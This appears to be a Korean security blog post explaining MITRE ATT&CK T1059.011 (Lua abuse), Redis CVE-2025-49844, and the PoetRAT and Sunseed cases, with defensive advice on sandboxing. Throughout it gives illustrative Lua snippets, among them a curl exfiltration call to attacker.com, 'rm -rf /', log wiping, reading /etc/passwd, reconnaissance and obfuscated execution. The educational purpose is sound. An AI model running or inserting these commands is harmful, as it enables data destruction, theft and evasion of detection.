COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
T1059.011 Lua 스크립트 공격의 동작 원리와 CVE-2025-49844 등 실제 취약점 사례를 분석한다. 게임 엔진과 임베디드 시스템의 Lua 인터프리터가 어떻게 APT 그룹의 공격 도구로 악용되는지 알아보세요.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
2024년 8월, MITRE ATT&CK 프레임워크에 T1059.011 Lua 기법이 새롭게 등록되었다. 이 기법은 Linux, Windows, macOS, 네트워크 장비를 아우르는 멀티플랫폼 공격 벡터다. PoetRAT, Sunseed, EvilBunny 등 주요 APT 악성코드에서 활용되고 있다. 게임 개발과 임베디드 시스템에서 널리 사용되는 Lua 언어가 왜 사이버 공격의 새로운 도구로 주목받고 있을까?
2000년대 초반, 공격자들이 원격 시스템에서 명령을 실행하려면 복잡한 과정을 거쳐야 했다. C/C++로 작성된 바이너리를 컴파일하고, 대상 시스템의 아키텍처에 맞게 여러 버전을 준비해야 했다. Windows용 PE, Linux용 ELF, macOS용 Mach-O 파일을 각각 만들어야 하는 번거로움이 있었다.
더 큰 문제는 탐지였다. 컴파일된 실행 파일은 안티바이러스나 EDR에서 쉽게 감지되었고, 파일 시그니처 기반 탐지를 우회하기 위해 패킹이나 암호화 같은 복잡한 기법이 필요했다. 또한 시스템 관리자가 실행 파일의 생성이나 실행을 모니터링하면 금세 발각되었다.
Lua는 이런 한계를 해결하기 위해 공격자들에게 선택받았다. 스크립트 언어라는 특성상 컴파일 없이 즉시 실행되고, 텍스트 파일 형태로 저장되어 바이너리 시그니처 탐지를 우회할 수 있기 때문이다.
Lua는 브라질에서 개발된 경량 스크립팅 언어로, C 프로그램에 임베드되어 확장성을 제공하는 것이 주된 목적이다.
Lua is a powerful, efficient, lightweight, embeddable scripting language. It supports procedural programming, object-oriented programming, functional programming, data-driven programming, and data description. — Lua 5.4 Reference Manual
위 공식 정의를 풀어보면, Lua는 다른 애플리케이션에 내장되어 스크립팅 기능을 제공하는 언어다. 게임 엔진(World of Warcraft, Angry Birds), 네트워크 장비(Cisco, OpenWrt), 웹 서버(Nginx with OpenResty) 등에 널리 임베드되어 있다.
| 용어 | 설명 |
|---|---|
| Lua | 역할: 임베드 가능한 스크립팅 언어 / 차이점: C API 통해 호스트와 긴밀히 연동 / 보안 관점: 샌드박스 우회 가능성 높음 |
| Python | 역할: 범용 스크립팅 언어 / 차이점: 독립 실행 환경, 풍부한 라이브러리 / 보안 관점: 시스템 접근 API 다양함 |
| JavaScript | 역할: 웹 브라우저/Node.js 스크립팅 / 차이점: 이벤트 기반, 비동기 처리 / 보안 관점: DOM/BOM 조작으로 브라우저 공격 |
| PowerShell | 역할: Windows 시스템 관리 언어 / 차이점: .NET 프레임워크 직접 접근 / 보안 관점: WMI, Registry 직접 조작 |
Lua 스크립트가 실행되는 과정은 다음과 같다:
호스트 애플리케이션이 Lua 스크립트를 받으면, 먼저 Lua 상태(lua_State)를 초기화한다:
// Lua 상태 생성
lua_State *L = luaL_newstate();
luaL_openlibs(L); // 표준 라이브러리 로드
// 스크립트 실행
int result = luaL_dostring(L, script_content);
공격자는 이 지점에서 악성 스크립트를 주입할 수 있다. 예를 들어, 웹 애플리케이션이 사용자 입력을 Lua 스크립트로 처리한다면:
-- 정상적인 사용자 입력
user_input = "Hello World"
print(user_input)
-- 공격자의 악성 입력
user_input = "'; os.execute('rm -rf /'); --"
Lua 인터프리터는 스크립트를 내부 바이트코드로 변환한다. 이 과정에서 구문 오류가 있으면 실행이 중단되지만, 문법적으로 올바른 악성 코드는 그대로 통과된다:
-- 문법적으로 올바른 악성 코드
function backdoor()
local handle = io.popen("whoami")
local result = handle:read("*a")
handle:close()
return result
end
-- 즉시 실행
backdoor()
Lua는 os 라이브러리를 통해 시스템 명령을 직접 실행할 수 있다:
-- 파일 시스템 정보 수집
os.execute("ls -la /etc > /tmp/recon.txt")
-- 네트워크 정보 수집
os.execute("netstat -an | grep LISTEN > /tmp/ports.txt")
-- 사용자 계정 정보 수집
os.execute("cat /etc/passwd > /tmp/users.txt")
이는 마치 호텔 컨시어지에게 부탁하는 것과 같다. 컨시어지(Lua 인터프리터)는 고객(스크립트)의 요청을 받아 호텔 시설(시스템 리소스)에 접근해서 서비스를 제공한다. 하지만 악의적인 고객이 "다른 고객 방의 열쇠를 달라"고 요청해도, 컨시어지는 그것이 정당한 요청인지 구분하기 어렵다.
공격자는 수집한 정보를 외부로 전송하거나 추가 공격을 위해 활용한다:
-- HTTP를 통한 데이터 전송 (외부 라이브러리 필요)
function exfiltrate_data(data)
local curl_cmd = string.format(
'curl -X POST -d "%s" http://attacker.com/collect',
data
)
os.execute(curl_cmd)
end
-- 로그 삭제로 흔적 제거
os.execute("rm /var/log/auth.log")
os.execute("history -c")
일부 호스트 애플리케이션은 Lua 스크립트를 샌드박스 환경에서 실행한다. 하지만 메타테이블 조작을 통해 이를 우회할 수 있다:
-- 메타테이블을 이용한 샌드박스 우회
local mt = getmetatable("")
mt.__index = function(str, key)
if key == "exploit" then
return function()
-- 제한된 환경에서도 실행 가능한 코드
return debug.getregistry()
end
end
end
-- 우회된 코드 실행
local result = ""["exploit"]()
공격자들이 Lua를 선호하는 이유는 탐지 회피에 있다. 전통적인 바이너리 악성코드와 달리 Lua 스크립트는:
공격자는 다음과 같은 단계로 Lua 기반 공격을 수행한다:
1단계: 정찰 스크립트
-- 시스템 정보 수집
function gather_system_info()
local info = {}
-- OS 정보
local handle = io.popen("uname -a")
info.os = handle:read("*l")
handle:close()
-- 실행 중인 프로세스
handle = io.popen("ps aux")
info.processes = handle:read("*a")
handle:close()
-- 네트워크 연결
handle = io.popen("ss -tuln")
info.network = handle:read("*a")
handle:close()
return info
end
2단계: 권한 상승 시도
-- SUID 바이너리 검색
function find_suid_binaries()
local cmd = "find / -perm -4000 -type f 2>/dev/null"
local handle = io.popen(cmd)
local suid_files = handle:read("*a")
handle:close()
return suid_files
end
-- sudo 설정 확인
function check_sudo_config()
local handle = io.popen("sudo -l 2>/dev/null")
local sudo_perms = handle:read("*a")
handle:close()
return sudo_perms
end
CVE-2025-49844: Redis Lua 엔진 취약점
2025년 10월, Redis의 Lua 엔진에서 CVSS 9.9 (최고 심각도) 취약점이 발견되었다. 공격자는 특별히 제작된 Lua 스크립트로 가비지 컬렉터를 조작하여 use-after-free를 유발하고 원격 코드 실행을 달성할 수 있었다:
-- CVE-2025-49844 악용 개념 코드 (실제 익스플로잇 아님)
function trigger_uaf()
-- 가비지 컬렉터 조작을 통한 메모리 손상
local obj = {}
setmetatable(obj, {__gc = function()
-- 해제된 메모리에 접근
collectgarbage("collect")
end})
-- 강제 가비지 컬렉션 트리거
obj = nil
collectgarbage("collect")
end
이 취약점은 약 13년간 Redis 소스 코드에 존재했다. 인증된 사용자가 Lua 샌드박스를 탈출하여 Redis 호스트에서 임의의 네이티브 코드를 실행할 수 있었다.
PoetRAT: 아제르바이잔 공격
2020년 10월, PoetRAT 악성코드는 아제르바이잔의 공공 및 민간 부문을 대상으로 Lua 스크립트를 활용한 공격을 수행했다. 이 악성코드는 다음과 같은 Lua 기반 기능을 포함했다:
-- PoetRAT 스타일 정찰 기능 (개념적 재구성)
function collect_target_info()
-- 시스템 언어 설정 확인
local handle = io.popen("locale")
local locale_info = handle:read("*a")
handle:close()
-- 설치된 소프트웨어 목록
handle = io.popen("dpkg -l")
local software_list = handle:read("*a")
handle:close()
-- 문서 파일 검색
handle = io.popen("find /home -name '*.pdf' -o -name '*.doc*' 2>/dev/null")
local documents = handle:read("*a")
handle:close()
return {
locale = locale_info,
software = software_list,
documents = documents
}
end
Sunseed: 유럽 정부 대상 공격
2022년 3월, Proofpoint 위협 연구팀에 따르면 Lua 기반 Sunseed 악성코드가 유럽 정부와 난민 운동을 대상으로 하는 국가 행위자에 의해 사용되었다. 이 공격은 "Asylum Ambuscade"로 명명되었으며, 정치적으로 민감한 시기를 노린 표적 공격이었다.
동적 코드 생성
-- 런타임에 악성 코드 조합
local parts = {
"os",
".",
"execute",
"('",
"whoami",
"')"
}
local cmd = table.concat(parts, "")
load(cmd)() -- 동적으로 생성된 코드 실행
문자열 난독화
-- Base64 인코딩으로 명령어 숨김
function decode_and_execute(encoded_cmd)
local chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
local decoded = ""
-- Base64 디코딩 로직 (단순화)
for i = 1, #encoded_cmd, 4 do
-- 디코딩 과정...
end
os.execute(decoded)
end
-- 사용 예시
decode_and_execute("Y2F0IC9ldGMvcGFzc3dk") -- "cat /etc/passwd"
Lua 샌드박스 강화
// C 코드에서 Lua 환경 제한
lua_State *L = luaL_newstate();
// 위험한 라이브러리 로드 금지
static const luaL_Reg restricted_libs[] = {
{"", luaopen_base},
{LUA_STRLIBNAME, luaopen_string},
{LUA_MATHLIBNAME, luaopen_math},
{NULL, NULL}
};
// os, io, debug 라이브러리 제외
for (const luaL_Reg *lib = restricted_libs; lib->func; lib++) {
luaL_requiref(L, lib->name, lib->func, 1);
lua_pop(L, 1);
}
입력 검증 및 필터링
-- 위험한 함수 호출 차단
local blacklist = {
"os%.execute",
"io%.popen",
"loadfile",
"dofile",
"require"
}
function validate_script(script_content)
for _, pattern in ipairs(blacklist) do
if string.find(script_content, pattern) then
return false, "Dangerous function detected: " .. pattern
end
end
return true
end
리소스 제한
// 실행 시간 제한
void timeout_handler(int sig) {
lua_sethook(L, timeout_hook, LUA_MASKCOUNT, 1000);
}
static void timeout_hook(lua_State *L, lua_Debug *ar) {
luaL_error(L, "Script execution timeout");
}
T1059 Command and Scripting Interpreter 기법에는 Lua 외에도 여러 sub-technique이 있다:
Lua의 장점은 경량성과 임베드 가능성이다. 단 20KB 크기의 인터프리터로 다양한 환경에 쉽게 통합되며, 호스트 애플리케이션과 긴밀하게 연동된다.
반면 위험성도 크다. T1059.001 PowerShell 악성코드나 T1059.006 Python 악성코드와 달리, Lua는 상대적으로 보안 연구가 부족해 새로운 공격 기법이 지속적으로 발견되고 있다.
T1059.011 Lua 공격 기법은 경량 스크립팅 언어의 편의성이 보안 위험으로 전환된 사례다. 게임 엔진, 네트워크 장비, 웹 서버에 널리 임베드된 Lua 인터프리터는 공격자에게 새로운 공격 표면을 제공하고 있다.
특히 같은 인터프리터 자체의 취약점과 결합되면, 단순한 스크립트 실행을 넘어 시스템 전체를 장악할 수 있는 위험한 도구가 된다. 조직에서는 Lua 스크립트 실행을 모니터링하고, 불필요한 시스템 함수 접근을 차단하는 보안 정책이 필요하다.
앞으로 임베디드 시스템과 IoT 기기에서 Lua 사용이 증가하면서, 이 공격 기법의 위험성은 더욱 커질 것으로 예상된다. T1562 방어 무력화 기법과 결합되면 탐지를 완전히 우회하는 정교한 공격도 가능해진다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.